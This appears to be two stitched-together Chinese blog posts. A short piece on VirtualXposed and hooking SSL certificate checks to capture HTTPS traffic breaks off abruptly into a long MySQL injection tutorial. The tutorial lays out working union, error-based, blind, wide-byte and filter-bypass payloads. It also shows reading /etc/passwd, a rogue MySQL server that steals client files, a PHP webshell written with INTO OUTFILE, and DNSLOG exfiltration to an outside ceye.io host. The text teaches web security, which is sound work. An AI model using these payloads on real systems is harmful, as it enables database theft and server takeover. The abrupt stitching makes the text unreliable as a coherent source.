简单的说,VXP相当于手机上的虚拟机,在手机原有的系统上创建一块虚拟空间,类似沙盒般的效果,而通过TrustMeAlready插件,便可HOOK到 APK 中所有用于校验 SSL 证书的 API (详情可以点击参考里的《JustTrustMe原理分析》),从而绕过证书校验,故此达到https抓包的效果。
一、什么是Virtual Xposed?
Xposed
众所周知Xposed是来自国外XDA论坛的rovo89开发的一款开源的安卓系统框架。
它是一款特殊的安卓App,其主要功能是提供一个新的应用平台,玩家们安装Xposed框架后,就能够通过Xposed框架搭建起的平台安装更多系统级的应用,实现诸多神奇的功能。
Xposed框架的原理是修改系统文件,替换了/system/bin/app_process可执行文件,在启动Zygote时加载额外的jar文件(/data/data/de.robv.android.xposed.installer/bin/XposedBridge.jar),并执行一些初始化操作(执行XposedBridge的main方法)。然后我们就可以在这个Zygote上下文中进行某些hook操作。
Xposed真正强大的是它可以hook调用的方法.当你反编译修改apk时,你可以在里面插入xposed的命令,于是你就可以在方法调用前后注入自己的代码.
Github开源地址: https://github.com/rovo89/Xposed
由于Xposed最大的弊端在于设备需要root,并且编写插件模块后需要重启手机(当然也有办法可以不用重启),所以有了VirtualApp。
VirtualApp
VirtualApp是一个App虚拟化引擎(简称VA)。
VirtualApp在你的App内创建一个虚拟空间(构造了一个虚拟的systemserver),你可以在虚拟空间内任意的安装、启动和卸载APK,这一切都与外部隔离,如同一个沙盒。
运行在VA中的APK无需在外部安装,即VA支持免安装运行APK。
熟悉android系统开机流程的应该知道各services是由system server启动一系列的系统核心服务(AMS,WMS,PMS等等)ViratualApp就是构建了一个虚拟system_process进程,这里面也有一系列的核心服务。
VirtualApp主要技术用到了反射和动态代理来实现的
Github开源地址:https://github.com/asLody/VirtualApp
VirtualXposed
VirtualXposed就是基于VirtualApp和epic 在非ROOT环境下运行Xposed模块的实现(支持5.0~8.1)。
为了弄清楚这个问题,我们首先得清楚SSL/TLS加密的原理。
通常来说,SSL与TLS都是非对称加密的,有一个公钥与私钥。公钥是公开的,私钥是私密的,存在于服务端。服务器返回的内容会被私钥加密,客户端需要使用公钥进行解密。同样的,用户端的数据便有公钥加密,私钥来解密。
而我们都知道,使用了SSL之后我们便可以保护我们的站点免受中间人攻击。那又何为中间人攻击呢?
举个例子,用户A要使用电脑访问网站http://example.com
,而这台电脑已被攻击者B攻陷,那么攻击者B可通过修改A电脑上的hosts文件,将example.com的解析指向B自己的服务器,这样A用户就在”不知情“的情况下中了招。而如果该网站使用了SSL/TLS加密时,用户A在访问https://example.com
的时候,需要向服务器请求公钥的内容,又因为公钥是放在CA证书里的,且CA证书通常是由相关的权威CA机构(权威性由微软等操作系统巨头决定)才能发布,类似我们的民政局才能发布身份证。这使得攻击者无法伪造CA证书,因为客户端在收到CA证书之后会根据不同的权威CA机构进行相应的验证,而若颁发该证书的机构不够权威(这使得权威机构也不会随意颁发CA证书,以免自身的权威性被取消),是不会被系统所信任的。这一连串的操作,使得使用了SSL/TLS的网站可以不受中间人攻击的影响。
OK回归正题,那这HTTPS抓包与中间人攻击有何关系呢?其实这两者的原理都是一样的,只不过攻击者的角色变成了抓包工具。
So,这次的问题就变成了中间人攻击如何在HTTPS通信中生效?
我们注意到,中间人攻击的最大难点就在于CA证书的权威性,而我们在没有域名解析权的情况下是不能去向权威CA机构申请证书的。那么既然如此,为何我们不考虑自己“开”一家权威机构呢,这样我们生成的证书不就会被信任了嘛。
这时候,就得需要安装我们抓包工具的CA证书了,这个证书与域名所有者向权威机构申请的证书不同,他是根证书。
因为域名的CA证书的验证过程也是非对称加密验证,也就说,CA证书的验证是由根证书里的公钥来解密验证的。通常操作系统里已经默认信任了一批权威机构的根证书。
所以,当我们把我们自己的根证书添加到操作系统中时,相当于我们自己“开”了一家权威CA机构,这样便可以解决了之前的难题。
借一张网图:
别看上边方法好像挺简单的,实际操作起来却挺繁琐,网络上的方法大多抄来吵去且时效性很差,导致在操作过程中也走了许多弯路,许多东西还是自己实验之后才知道。看似简单的东西,其实写起来可学习的东西还是很多的,以前自己在学习的时候没有注意的点,现在看起来也是可以细细研究的。不骄不躁,Stay Hungry, Stay Foolish.
最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇到的关于的mysql注入的内容给全部罗列出来,既方便个人之后的复习,也方便后人查找相关资料。
本文部分内容可能会直接截取其他大牛的文章,截取的内容我都会进行声明处理。如有侵权,请发email联系我(asp-php#foxmail.com)删除。
在正式讲解mysql注入的内容前,我认为还是有必要说明一下什么是mysql、mysql的特点是什么等内容,这些东西看起来可能对注入毫无帮助,开始却能很好的帮助我们学习,融会贯通。
MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
- MySQL是开源的,所以你不需要支付额外的费用。
- MySQL使用标准的 SQL 数据语言形式。
- MySQL可以运行于多个系统上,并且支持多种语言。这些编程语言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
- MySQL对PHP有很好的支持,PHP 是目前最流行的 Web 开发语言。
- MySQL支持大型数据库,支持 5000 万条记录的数据仓库,32 位系统表文件最大可支持 4GB,64 位系统支持最大的表文件为8TB。
- MySQL是可以定制的,采用了 GPL 协议,你可以修改源码来开发自己的 MySQL 系统。
一个完整的mysql管理系统结构通常如下图:
可以看到,mysql可以管理多个数据库,一个数据库可以包含多个数据表,而一个数据表有含有多条字段,一行数据正是多个字段同一行的一串数据。
简单的来说,SQL注入是开发者没有对用户的输入数据进行严格的限制/转义,致使用户在输入一些特定的字符时,在与后端设定的sql语句进行拼接时产生了歧义,使得用户可以控制该条sql语句与数据库进行通信。
举个例子:
1 |
|
上述代码将模拟一个web应用程序进行登录操作。若登录成功,则返回success,否则,返回fail。
通常正常用户进行登录的sql语句为:
1 | select * from users where username = '$username' and password='$password' |
其中,变量$username 与变量$password为用户可以控制的内容,正常情况下,用户所输入的内容在sql语义上都将作为字符错,被赋值给前边的字段来当做整条select查询语句的筛选条件。
若用户输入的$username为admin'#
,$password为123
。那么拼接到sql语句中将得到如下结果:
1 | select * from users where username = 'admin'#' and password='123' |
这里的#
是单行注释符,可以将后边的内容给注释掉。那么此条语句的语义将发生了变化,用户可以不需要判断密码,只需一个用户名,即可完成登录操作,这与开发者的初衷相悖。
我们知道,在数据库中,常见的对数据进行处理的操作有:增、删、查、改这四种。
每一项操作都具有不同的作用,共同构成了对数据的绝大部分操作。
INSERT table_name(columns_name) VALUES(new_values)
。DELETE table_name WHERE condition
。SELECT columns_name FROM table_name WHERE condition
。UPDATE table_name SET column_name=new_value WHERE condition
。PS:以上SQL语句中,系统关键字全部进行了大写处理。
mysql的查询语句完整格式如下:
1 | SELECT |
通常注入点发生在where_condition处,并不是说唯有此处可以注入,其他的位置也可以,只是我们先将此处的注入当做例子来进行讲解,之后会逐渐降到其他的位置该如何进行注入。
对于SELECT
语句,我们通常分其为两种情况:有回显和无回显。
什么叫有回显?别急,我们来举个例子。
当我们点击一篇文章阅读时,其URL为read.php?id=1
,我们可以很容易地猜出其SQL语句可能为select * from articles where id='$id'
。
这时候页面将SQL语句返回的内容显示在了页面中(本例中是标题、内容、作者等信息),这种情况就叫有回显。
对于有回显的情况来说,我们通常使用联合查询注入法。
其作用就是,在原来查询条件的基础上,通过系统关键字union
从而拼接上我们自己的select
语句,后个select
得到的结果将拼接到前个select
的结果后边。如:前个select
得到2条数据,后个select
得到1条数据,那么后个select
的数据将作为第3条拼接到第一个select
返回的内容中,其字段名将按照位置关系进行继承。
如:正常查询语句 union select columns_name from (database.)table_name where condition
这里需要注意的是:
什么叫无回显?之前举得登录判断就是一个无回显的例子。如果SQL语句存在返回的数据,那么页面输出为success,若不存在返回的数据,则输出fail。
与有回显情况不同的是:无回显的页面输出内容并不是SQL语句返回的内容。
对于无回显的情况,我们通常可用两种方法进行注入:报错注入与盲注。
什么是报错注入,简单的说,就是有些特殊的函数,会在其报错信息里可能会返回其参数的值。
我们可以利用这一特性,在其参数放入我们想要得到的数据,通常使用子查询的方法实现,最后让其报错并输出结果。
1 | 正常语句 (where | and) exp(~(select * from(select user())a)); |
若网站设置了无报错信息返回,那么在不直接返回数据+不返回报错信息的情况下,盲注便几乎成了最后一种直接注入取数据的方法了。
其中,盲注分成布尔盲注和时间盲注。
对于布尔盲注来说,其使用的场景在于:对真/假条件返回的内容很容易区分。
比如说,有这么一条正常的select语句,我们再起where条件后边加上and 1=2,我们知道,1永远不等于2,那么这个条件就是一个永假条件,我们使用and语句连上,那么整个where部分就是永假的,这时候select语句是不会返回内容的。将其返回的内容与正常页面进行对比,如果很容易区分的话,那么布尔盲注试用。
如:正常语句 (where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
相比较于布尔盲注,时间盲注依赖于通过页面返回的延迟时间来判断条件是否正确。
使用场景:布尔盲注永假条件所返回的内容与正常语句返回的内容很接近/相同,无法判断情况。
简单的来说,时间盲注就是,如果我们自定义的条件为假的话,我们让其0延迟通过,如果条件为真的话,使用sleep()等函数,让sql语句的返回产生延迟。
如:正常语句(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
最后总结一下:
常见注入方法有三种:联合查询注入、报错注入、盲注
,其中:
对于时间成本来说:联合查询注入<报错注入<<盲注。
通常情况下,盲注需要一个一个字符的进行判断。这极大的增加了时间成本,况且对于时间盲注来说,还需要额外的延迟时间来作为判断的标准。
1) 首先,先确定字段数量。
使用order/group by
语句。通过往后边拼接数字,可确定字段数量,若大于,则页面错误/无内容,若小于或等于,则页面正常。若错误页与正常页一样,更换报错注入/盲注。
2) 第二步,判断页面回显数据的字段位置。
使用union select 1,2,3,4,x...
我们定义的数字将显示在页面上,即可从中判断页面显示的字段位置。
注意:
select
查询条件返回结果为空即可。select
语句的方法之一。3) 第三步,在显示的字段位置使用子查询来查询数据,或直接查询也可。
首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况,再根据不同的版本、不同的权限确定接下来的方法。
简单的说,由于mysql的低版本缺乏系统库information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠猜来解决。
直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。
若知道仅表名而不知道列(字段)名:
可通过以下payload:
首先去一个名为information_schema的数据库里的shemata数据表查询全部数据库名。
若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。
在information_schema的一个名为tables的数据表中存着全部的数据表信息。
其中,table_name 字段保存其名称,table_schema保存其对应的数据库名。
1 | union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database(); |
上述payload可查看全部的数据表名,其中group_concat函数将多行数据转成一行数据。
接着通过其表名,查询该表的所有字段名,有时也称列名。
通过information_schema库下的columns表可查询对应的数据库/数据库表含有的字段名。
1 | Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型,也通过十六进制表示 |
知道了想要的数据存放的数据库、数据表、字段名,直接联合查询即可。
1 | Union select 1,2,column_name,4,xxx from (database_name.)table_name |
简单的说,查库名->查表名->查字段名->查数据
核心:利用逻辑代数连接词/条件函数,让页面返回的内容/响应时间与正常的页面不符。
首先通过页面对于永真条件or 1=1
与永假条件and 1=2
的返回内容是否存在差异进行判断是否可以进行布尔盲注。
如:select * from users where username=$username
,其作用设定为判断用户名是否存在。
通常仅返回存在/不存在,两个结果。
这时候我们就不能使用联合查询法注入,因为页面显示SQL语句返回的内容,只能使用盲注法/报错注入法来注出数据。
我们在将语句注入成:select * from users where username=$username or (condition)
若后边拼接的条件为真的话,那么整条语句的where区域将变成永真条件。
那么,即使我们在$username处输入的用户名为一个铁定不存在的用户名,那么返回的结果也仍然为存在。
利用这一特性,我们的condition为:length(database())>8 即可用于判断数据库名长度
除此之外,还可:ascii(substr(database(),1,1))<130 用二分法快速获取数据名(逐字判断)
payload如下:
1 | select * from users where username=nouser or length(database())>8 |
通过判断页面返回内容的响应时间差异进行条件判断。
通常可利用的产生时间延迟的函数有:sleep()、benchmark(),还有许多进行复杂运算的函数也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法。
如上述例子:若服务器在执行永真/永假条件并不直接返回两个容易区分的内容时,利用时间盲注或许是个更好的办法。
在上述语句中,我们拼接语句,变成:
1 | select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1) |
如果数据库名的长度大于8,那么if条件将执行sleep(3),那么此条语句将进行延迟3秒的操作。
若小于或等于8,则if条件直接返回1,并与前边的逻辑连接词拼接,无延迟直接返回。通常的响应时间在0-1秒之内,与上种情况具有很容易区分的结果,可做条件判断的依据。
通过特殊函数的错误使用使其参数被页面输出。
前提:服务器开启报错信息返回,也就是发生错误时返回报错信息。
常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue()
等
如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)
因为updatexml函数的第二个参数需要满足xpath格式,我们在其前后添加字符~,使其不满足xpath格式,进行报错并输出。
将上述payload的(select user())当做联合查询法的注入位置,接下来的操作与联合查询法一样。
注意:
可简单当做无回显的Select语句进行注入。值得注意的是,通常增insert
处的注入点在测试时会产生大量的垃圾数据,删delete处的注入千万要注意where条件不要为永真。
到目前为止,我们讲了Mysql注入的基本入门,那么接下来我将会花费大部分时间介绍我学习mysql注入遇到的一些知识点。
在讲绕过之前,我认为有必要先讲讲什么是:过滤与拦截。
简单的说就是:过滤指的是,我们输入的部分内容在拼接SQL语句之前被程序删除掉了,接着将过滤之后的内容拼接到SQL语句并继续与数据库通信。而拦截指的是:若检测到指定的内容存在,则直接返回拦截页面,同时不会进行拼接SQL语句并与数据库通信的操作。
若程序设置的是过滤,则若过滤的字符不为单字符,则可以使用双写绕过。
举个例子:程序过滤掉了union
这一关键词,我们可以使用ununionion
来绕过。
PS:一般检测方法都是利用的正则,注意观察正则匹配时,是否忽略大小写匹配,若不忽略,直接使用大小写混搭即可绕过。
anandd、oorr
&&、||
=
号,如:?id=1=(condition)
?id=1^(condition)
and/or
后面可以跟上偶数个!、~
可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0
等部分不可见字符可也代替空格如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)
substr(data from 1 for 1)
相当于substr(data,1,1)
、limit 9 offset 4
相当于limt 9,4
case when condition then 1 else 0 end
语句代替。下表摘自MySQL注入技巧
代替字符 | 数 | 代替字符 | 数、字 | 代替字符 | 数、字 |
---|---|---|---|---|---|
false、!pi() | 0 | ceil(pi()*pi()) | 10\A | ceil((pi()+pi())*pi()) | 20\K |
true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11\B | ceil(ceil(pi())*version()) | 21\L |
true+true | 2 | ceil(pi()+pi()+version()) | 12\C | ceil(pi()*ceil(pi()+pi())) | 22\M |
floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13\D | ceil((pi()+ceil(pi()))*pi()) | 23\N |
ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14\E | ceil(pi())*ceil(version()) | 24\O |
floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15\F | floor(pi()*(version()+pi())) | 25\P |
ceil(version()) | 6 | floor(pi()*version()) | 16\G | floor(version()*version()) | 26\Q |
ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17\H | ceil(version()*version()) | 27\R |
floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18\I | ceil(pi()pi()pi()-pi()) | 28\S |
floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19\J | floor(pi()pi()floor(pi())) | 29\T |
什么是宽字节注入?下面举个例子来告诉你。
1 |
|
还是开头的例子,只不过加了点料。
1 | $conn->query("set names 'gbk';"); |
addslashes
函数将会把POST接收到的username与password的部分字符进行转义处理。如下:
'、"、\
前边会被添加上一条反斜杠\
作为转义字符。这使得我们原本的payload被转义成如下:
1 | select * from users where username = 'admin\'#' and password='123'; |
注意:我们输入的单引号被转义掉了,此时SQL语句的功能是:查找用户名为admin'#
且密码为123的用户。
但是我们注意到,在拼接SQL语句并与数据库进行通信之前,我们执行了这么一条语句:
1 | $conn->query("set names 'gbk';"); |
其作用相当于:
1 | mysql>SET character_set_client ='gbk'; |
当我们输入的数据为:username=%df%27or%201=1%23&password=123
经过addslashes函数处理最终变成:username=%df%5c%27or%201=1%23&password=123
经过gbk解码得到:username=運'or 1=1#
、password=123
,拼接到SQL语句得:
1 | select * from users where username = '運'or 1=1#' and password='123'; |
成功跳出了addslashes的转义限制。
前边提到:set names 'gbk';
相当于执行了如下操作:
1 | mysql>SET character_set_client ='gbk'; |
那么此时在SQL语句在与数据库进行通信时,会先将SQL语句进行对应的character_set_client
所设置的编码进行转码,本例是gbk编码。
由于PHP的编码为UTF-8
,我们输入的内容为%df%27
,会被当做是两个字符,其中%27
为单引号'
。
经过函数addslashes
处理变成%df%5c%27
,%5c
为反斜线\
。
在经过客户端层character_set_client
编码处理后变成:運'
,成功将反斜线给“吞”掉了,使单引号逃逸出来。
讲完了gbk造成的编码问题,我们再讲讲latin1造成的编码问题。
老样子,先举个例子。
1 |
|
建表语句如下:
1 | CREATE TABLE `table1` ( |
我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。
我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');
注意查看源代码:
1 | if($username === 'admin'){ |
我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。
这样的话,我们该怎样绕过这个限制,让页面输出admin的数据呢?
我们注意到:$mysqli->query("set names utf8");
这么一行代码,在连接到数据库之后,执行了这么一条SQL语句。
上边在gbk宽字节注入的时候讲到过:set names utf8;
相当于:
1 | mysql>SET character_set_client ='utf8'; |
前边说道:PHP的编码是UTF-8
,而我们现在设置的也是UTF-8
,怎么会产生问题呢?
别着急,让我接着往下说。前边我们提到:SQL语句会先转成character_set_client
设置的编码。但,他接下来还会继续转换。character_set_client
客户端层转换完毕之后,数据将会交给character_set_connection
连接层处理,最后在从character_set_connection
转到数据表的内部操作字符集。
来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1
这里需要讲一下UTF-8编码的一些内容。
UTF-8编码是变长编码,可能有1~4个字节表示:
- 一字节时范围是
[00-7F]
- 两字节时范围是
[C0-DF][80-BF]
- 三字节时范围是
[E0-EF][80-BF][80-BF]
- 四字节时范围是
[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:
所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。
关于所有的UTF-8字符,你可以在这个表中一一看到: http://utf8-chartable.de/unicode-utf8-table.pl
利用这一特性,我们输入:?username=admin%c2
,%c2
是一个Latin1字符集不存在的字符。
由上述,可以简单的知道:%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符,他们只是其他长字节编码结果的首字节。
但是,这里还有一个Trick:Mysql所使用的UTF-8编码是阉割版的,仅支持三个字节的编码。所以说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF
。
而对于不完整的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。
利用这一特性,我们的payload为?username=admin%c2
,此处的%c2
换为%c2-%ef
均可。
1 | SELECT * FROM `table1` WHERE username='admin' |
因为admin%c2
在最后一层的内部操作字符集转换中变成admin
。
我们前边说到,报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。
那么,我们具体来说说,都有哪些特殊函数,以及他们都该怎么使用。
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:
函数语法:exp(int)
适用版本:5.5.5~5.5.49
该函数将会返回e的x次方结果。正常如下图:
为什么会报错呢?我们知道,次方到后边每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。如下图:
我们的payload为:exp(~(select * from(select user())a))
其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函数内,得到的结果将超过mysql的double数组范围,从而报错输出。至于为什么需要用两层子查询,这点我暂时还没有弄明白,欢迎有了解的大牛找我讨论: )
除了exp()
之外,还有类似pow()
之类的相似函数同样是可利用的,他们的原理相同。
函数语法:updatexml(XML_document, XPath_string, new_value);
适用版本: 5.1.5+
我们通常在第二个xpath参数填写我们要查询的内容。
与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错。
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
虚拟表报错原理:简单来说,是由于where条件每执行一次,rand函数就会执行一次,如果在由于在统计数据时判断依据不能动态改变,故rand()
不能后接在order/group by
上。
举一个例子:假设user表有三条数据,我们通过:select * from user group by username
来通过其中的username字段进行分组。
此过程会先建立一个虚拟表,存在两个字段:key,count
其中我们通过username来判断,其在此处是字段,首先先取第一行的数据:username=test&password=test
username为test出现一次,则现在虚表内查询是否存在test,若存在,则count+1,若不存在,则添加test,其count为1。
对于floor(rand(0)*2)
,其中rand()
函数,会生成0~1之间随机一个小数、floor()
取整数部分、0是随机因子、乘2是为了让大于0.5的小数通过floor函数得1,否则永远为0。
若表中有三行数据:我们通过select * from user group by floor(rand(0)*2)
进行排序的话。
注意,由于rand(0)
的随机因子是被固定的,故其产生的随机数也被固定了,顺序为:011011…
首先group by
需要执行的话,需要确定分组因子,故floor(rand(0)*2)
被执行一次,得到的结果为0,接着在虚表内检索0,发现虚表没有键值为0的记录,故添加上,在进行添加时:floor(rand(0)*2)
第二次被执行,得到结果1,故虚表插入的内容为key=1&count=1
。
第二次执行group by时:floor(rand(0)*2)
先被运行一次,也就是第三次运行。得到结果1,查询虚表发现数据存在,因而直接让虚表内的key=1的count加一即可,floor(..)只运行了一次。
第三次执行group by时,floor被执行第四次,得到结果0,查询虚表不存在。再插入虚表时,floor(…)被执行第五次,得到结果1,故此时虚表将插入的值为key=1&count=1
,注意,此时虚表已有一条记录为:key=1&count=2
,并且字段key为主键,具有不可重复性,故虚表在尝试插入时将产生错误。
图文:
1.查询前默认会建立空虚拟表如下图:
2.取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
\3.查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
4.查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。
payload用法: union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
id=1 AND polygon((select * from(select * from(select user())a)b))
id=1 AND multipoint((select * from(select * from(select user())a)b))
id=1 AND multilinestring((select * from(select * from(select user())a)b))
id=1 AND LINESTRING((select * from(select * from(select user())a)b))
id=1 AND multipolygon((select * from(select * from(select user())a)b))
随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。
当mysql数据库的某些边界数值进行数值运算时,会报错的原理。
如~0得到的结果:18446744073709551615
若此数参与运算,则很容易会错误。
payload: select !(select * from(select user())a)-~0;
仅可取数据库版本信息
payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a
适用版本:8.0.x
参数格式不正确。
1 | mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1)); |
通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。
并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
1 | mysql>select * from(select * from users a join (select * from users)b)c; |
参数格式不正确。
1 | mysql>select gtid_subset(user(),1); |
注:默认MYSQL_ERRMSG_SIZE=512
类别 | 函数 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函数显错长度 | Mysql报错内容长度 | 额外限制 |
---|---|---|---|---|---|---|---|---|---|
主键重复 | floor round | ❓ | ✔️ | ✔️ | ✔️ | 64 | data_type ≠ varchar | ||
列名重复 | name_const | ❓ | ✔️ | ✔️ | ✔️ | ✔️ | only version() | ||
列名重复 | join | [5.5.49, ?) | ✔️ | ✔️ | ✔️ | ✔️ | only columns | ||
数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
几何对象 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ✔️ | 244 | |||||
空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | ✔️ | ✔️ | 128 | ||||
GTID | gtid_subset gtid_subtract | [5.6.5, ?) | ✔️ | ✔️ | ✔️ | 200 | |||
JSON | json_* | [5.7.8, 5.7.11] | ✔️ | 200 | |||||
UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | ✔️ | 128 | |||||
XPath | extractvalue updatexml | [5.1.5, ?) | ✔️ | ✔️ | ✔️ | ✔️ | 32 |
摘自——Mysql 注入基础小结
我们知道Mysql是很灵活的,它支持文件读/写功能。在讲这之前,有必要介绍下什么是file_priv
和secure-file-priv
。
简单的说:file_priv
是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。
1 | select file_priv from mysql.user where user=$USER host=$HOST; |
secure-file-priv
是一个系统变量,对于文件读/写功能进行限制。具体如下:
注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv
的值:
1 | select @@secure_file_priv; |
修改:
secure-file-priv=
mysqld.exe --secure-file-priv=
Mysql读取文件通常使用load_file函数,语法如下:
1 | select load_file(file_path); |
第二种读文件的方法:
1 | load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件 |
第三种:
1 | load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件 |
限制:
secure-file-priv
无值或为有利目录。max_allowed_packet
所设置的值5.5.53secure-file-priv=NULL
读文件payload,mysql8测试失败,其他版本自测。
1 | drop table mysql.m1; |
这个漏洞是mysql的一个特性产生的,是上述的第三种读文件的方法为基础的。
简单描述该漏洞:Mysql客户端在执行load data local
语句的时,先想mysql服务端发送请求,服务端接收到请求,并返回需要读取的文件地址,客户端接收该地址并进行读取,接着将读取到的内容发送给服务端。用通俗的语言可以描述如下:
原本的查询流程为
1
2
3 客户端:我要把我的win.ini文件内容插入test表中
服务端:好,我要你的win.ini文件内容
客户端:win.ini的内容如下....假设服务端由我们控制,把一个正常的流程篡改成如下
1
2
3 客户端:我要把我的win.ini文件内容插入test表中
服务端:好,我要你的conn.php内容
客户端:conn.php的内容如下???例子部分修改自:CSS-T | Mysql Client 任意文件读取攻击链拓展
换句话说:load data local
语句要读取的文件会受到服务端的控制。
其次,在Mysql官方文档对于load data local
语句的安全说明中有这么一句话:
A patched server could in fact reply with a file-transfer request to any statement, not just
LOAD DATA LOCAL
, so a more fundamental issue is that clients should not connect to untrusted servers.
意思是:服务器对客户端的文件读取请求实际上是可以返回给客户端发送给服务端的任意语句请求的,不仅仅只是load data local
语句。
这就会产生什么结果呢?之前讲的例子,将可以变成:
1 | 客户端:我需要查询test表下的xx内容 |
可以看到,客户端相当于被攻击者给半劫持了。
利用上述的特性,我们通过构造一个恶意的服务端,即可完成上述的过程。
简易恶意服务端代码:
1 | #代码摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py |
需要注意的是:这个过程需要客户端允许使用load data local
才行,不过这个信息在客户端尝试连接到服务端的数据包中可以找到。
说完了读文件,那我们来说说mysql的写文件操作。常见的写文件操作如下:
1 | select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php'; |
限制:
secure-file-priv
无值或为可利用的目录由于mysql在5.5.53版本之后,secure-file-priv
的值默认为NULL
,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。
mysql日志文件的一些相关设置可以直接通过命令来进行:
1 | //请求日志 |
之后我们在让数据库执行满足记录条件的恶意语句即可。
限制:
什么是DNSLOG?简单的说,就是关于特定网站的DNS查询的一份记录表。若A用户对B网站进行访问/请求等操作,首先会去查询B网站的DNS记录,由于B网站是被我们控制的,便可以通过某些方法记录下A用户对于B网站的DNS记录信息。此方法也称为OOB注入。
如何用DNSLOG带出数据?若我们想要查询的数据为:aabbcc
,那么我们让mysql服务端去请求aabbcc.evil.com
,通过记录evil.com
的DNS记录,就可以得到数据:aabbcc
。
payload: load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))
应用场景:
secure-file-priv
无值。推荐平台:ceye.io
